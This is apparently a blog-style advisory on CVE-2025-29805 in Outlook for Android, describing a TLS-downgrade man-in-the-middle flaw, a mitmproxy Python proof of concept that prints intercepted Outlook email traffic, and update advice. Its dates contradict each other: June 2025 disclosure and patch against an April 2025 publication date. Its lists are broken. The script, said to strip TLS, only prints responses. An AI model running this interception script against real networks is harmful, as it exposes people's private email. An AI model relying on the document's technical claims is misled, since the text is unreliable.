CVE-2025-29805 - Sensitive Information Exposure in Outlook for Android Exploited

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Introduction

In June 2025, a brand new security vulnerability shocked the world of mobile communication when Microsoft acknowledged CVE-2025-29805. This vulnerability affects Outlook for Android, one of the most popular email clients with over 500 million Google Play installs.

CVE-2025-29805 is particularly dangerous because it allows attackers to disclose information over a network — without any user interaction and without authentication. Let’s break down what happened, how to identify if you’re vulnerable, and even how malicious actors could exploit this threat.

What Is CVE-2025-29805?

CVE-2025-29805 is classified as an Exposure of Sensitive Information to an Unauthorized Actor vulnerability. In plain words: due to improper handling of network responses, Outlook for Android sometimes leaks confidential email data to unexpected places where an attacker can capture it.

Vulnerability Type: Info Exposure
Impact: Unauthorized information disclosure
Component: Outlook for Android’s email synchronization system
Attack Vector: Remote / Network Man-in-the-Middle (MitM)
CVSS Score: 7.5 (High severity)

Technical Breakdown

At the heart of CVE-2025-29805 is how the Outlook app synchronizes inbox data with email servers. Normally, Outlook uses HTTPS (TLS) to encrypt the communication between the server and the app. However, researchers reported that certain error-handling code in the app could be "fooled" into accepting non-encrypted (HTTP) responses if a malicious network operator intervened.

Attacker intercepts the app’s HTTPS request to the email server.

- By dropping or altering TLS handshake packets and serving a plain HTTP response instead, the attacker exploits the error-handling flaw.

3. Simple Proof-of-Concept (PoC): Code for a Malicious Network Proxy

This Python snippet uses mitmproxy to demonstrate network interception. It strips TLS, captures responses, and shows info in console.

# PoC: Capture Outlook for Android traffic and dump sensitive info
from mitmproxy import http

def response(flow: http.HTTPFlow) -> None:
    # Filter only traffic from Outlook for Android
    if "outlook" in flow.request.pretty_url:
        print("\n--- Outlook Traffic Intercepted ---")
        print(f"URL: {flow.request.pretty_url}")
        print(f"Email Data:\n{flow.response.text[:500]}")  # Print first 500 chars

# In mitmproxy/scripts, save as outlook_cve2025_sniff.py and run:
# mitmproxy -s outlook_cve2025_sniff.py

Note: Running this against networks without authorization is illegal and unethical. Use only in lab conditions for defense testing.

How to Protect Yourself

1. Update Outlook for Android immediately via the Google Play Store. The patched release was published June 27, 2025.

Never use public Wi-Fi for checking emails without a VPN.

3. Enforce HTTPS/TLS on all backend email servers (force STARTTLS or SSL).

Microsoft’s official security bulletin and patch details:

MSRC Security Update Guide: CVE-2025-29805

References

- Microsoft Security Response Center Bulletin
- Outlook for Android Play Store Page
- Generic Man-in-the-Middle (MITM) Attack Techniques
- mitmproxy Documentation & Download

Conclusion

CVE-2025-29805 highlights the real-world impact of minor coding mistakes in mobile apps. Even a trusted company like Microsoft can slip up — and cybercriminals are always ready to take advantage. If you use Outlook for Android, update now and share this info with your colleagues and friends.

*Stay safe, keep your software updated, and always watch out for security advisories!*

*Written exclusively for you — please share responsibly.*

Timeline

Published on: 04/08/2025 18:16:06 UTC
Last modified on: 05/06/2025 17:03:53 UTC